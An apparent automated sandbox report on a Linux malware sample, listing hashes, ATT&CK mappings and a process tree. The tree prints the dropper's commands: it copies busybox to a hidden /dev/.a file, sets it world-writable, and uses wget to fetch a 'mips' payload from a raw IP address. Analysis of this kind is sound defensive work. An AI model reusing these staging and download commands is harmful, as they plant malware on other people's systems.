a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c

Analysis

max time kernel
141s
max time network
142s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
10/09/2026, 19:43

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General

Target
jaffacakes118_a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c.bin
Size 1KB
Sample260910-yfhevavfpe
SHA256 a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c
MD5 3498b3d8022179a6c872d2228120411f
SHA1 14d81f7cd3c78ab3d15ed06823319fdbe2434e3b
SHA512 26ffe01e4c63ec869268a31f7fd335681392e100ffb19dc16bfeb8f7dc2f37c4677edddffb4083501e47e18a5ef67076405ad79b33d053eb55968360b4bdfea5
TLSH
T12B4197EAA8A16F735D81EF0870230F1D600FA5C656910BADDF6E2C39FEBC90E7014645
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1504	chmod

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/mounts	cat
File opened for reading	/proc/filesystems	cp

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1506	wget

/tmp/jaffacakes118_a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c.bin
/tmp/jaffacakes118_a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c.bin
1⤵
PID:1495
- /bin/grep
  grep tmpfs
  2⤵
  PID:1498
- /bin/grep
  grep -v noexe
  2⤵
  PID:1500
- /bin/grep
  grep rw
  2⤵
  PID:1499
- /usr/bin/cut
  cut -d " " -f 2
  2⤵
  PID:1501
- /bin/cat
  cat /proc/mounts
  2⤵
  - Reads runtime system information
  PID:1497
- /bin/cp
  cp /bin/busybox //dev/.a
  2⤵
  - Reads runtime system information
  PID:1503
- /bin/chmod
  chmod 777 //dev/.a
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /bin/rm
  rm -rf .a
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://23.132.164.16/mips
  2⤵
  - System Network Configuration Discovery
  PID:1506

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

Path /dev/.a
Size 2.0MB
SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
MD5 b4dede5fc0b1bad5cb8e901bde126b97
SHA1 10cbe9a418ad84a1ed297948539d37aeb58dd810
SHA512 45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6
SSDEEP 49152:YfQ1HrHIYLrf2uxW2kx7gRHdITdHR8MonrH1NqCgkR:WYfFVdIpGxz1E
TLSH
T1D8A57C16B2E320FCC597C13043AFD7626D75B4AA12317E7F35849A312E56EA02B1DB63
MD5 SHA1 SHA512 SSDEEP TLSH

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